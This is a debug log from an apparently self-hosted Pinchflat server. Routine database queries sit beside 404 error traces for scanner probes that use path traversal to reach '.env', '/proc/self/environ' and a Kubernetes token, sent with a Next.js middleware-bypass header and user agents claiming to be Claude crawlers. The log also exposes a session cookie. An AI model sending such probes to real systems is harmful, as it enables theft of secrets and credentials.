"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host (truncated) 16:49:03.395 [debug] QUERY OK source="sources" db=50.3ms idle=0.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 16:49:03.413 [info] GET /api/uploads/%2e%2e%2f%2e%2e%2f.env 16:49:03.414 [debug] QUERY OK source="settings" db=0.5ms idle=69.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.414 [debug] QUERY OK source="settings" db=0.4ms idle=59.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.414 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.415 [error] #PID<0.29489.0> running PinchflatWeb.Endpoint (connection #PID<0.29488.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/uploads/%2e%2e%2f%2e%2e%2f.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/uploads/%2e%2e%2f%2e%2e%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/uploads/%2e%2e%2f%2e%2e%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29489.0>, params: %{}, path_info: ["api", "uploads", "%2e%2e%2f%2e%2e%2f"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/uploads/%2e%2e%2f%2e%2e%2f.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61L3zv0HzehwABvXh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/uploads/%2e%2e%2f%2e%2e%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/uploads/%2e%2e%2f%2e%2e%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29488.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/uploads/%2e%2e%2f%2e%2e%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middl (truncated) 16:49:03.457 [debug] QUERY OK source="sources" db=61.7ms idle=50.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 16:49:03.458 [info] Sent 200 in 115ms 16:49:04.047 [info] GET /media_profiles 16:49:04.047 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 16:49:04.048 [debug] QUERY OK source="media_profiles" db=0.1ms idle=653.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 16:49:04.048 [debug] QUERY OK source="settings" db=0.1ms idle=634.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.048 [debug] QUERY OK source="settings" db=0.0ms idle=633.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.049 [debug] QUERY OK source="settings" db=0.0ms idle=591.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.049 [info] Sent 200 in 1ms 16:49:04.263 [info] GET /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ 16:49:04.263 [debug] QUERY OK source="settings" db=0.1ms idle=318.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.263 [debug] QUERY OK source="settings" db=0.0ms idle=215.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.263 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.264 [error] #PID<0.29493.0> running PinchflatWeb.Endpoint (connection #PID<0.29492.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29493.0>, params: %{}, path_info: ["api", "w", "admins", "jobs_u", "get_log_file", "..", "..", "..", "..", "proc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61PCbAoXa9kgABvZh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29492.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33254}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x (truncated) 16:49:04.346 [info] GET /settings 16:49:04.346 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 16:49:04.346 [debug] QUERY OK source="settings" db=0.0ms idle=297.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.346 [debug] QUERY OK source="settings" db=0.0ms idle=298.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.346 [debug] QUERY OK source="settings" db=0.0ms idle=297.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.347 [debug] QUERY OK source="settings" db=0.0ms idle=83.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.347 [info] Sent 200 in 1ms 16:49:04.396 [info] GET /var/run/secrets/kubernetes.io/serviceaccount/token 16:49:04.396 [info] GET /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ 16:49:04.396 [debug] QUERY OK source="settings" db=0.1ms idle=132.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.396 [debug] QUERY OK source="settings" db=0.0ms idle=50.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.397 [debug] QUERY OK source="settings" db=0.0ms idle=50.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.397 [debug] QUERY OK source="settings" db=0.0ms idle=50.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:04.397 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.397 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:04.397 [error] #PID<0.29499.0> running PinchflatWeb.Endpoint (connection #PID<0.29498.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33274}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", 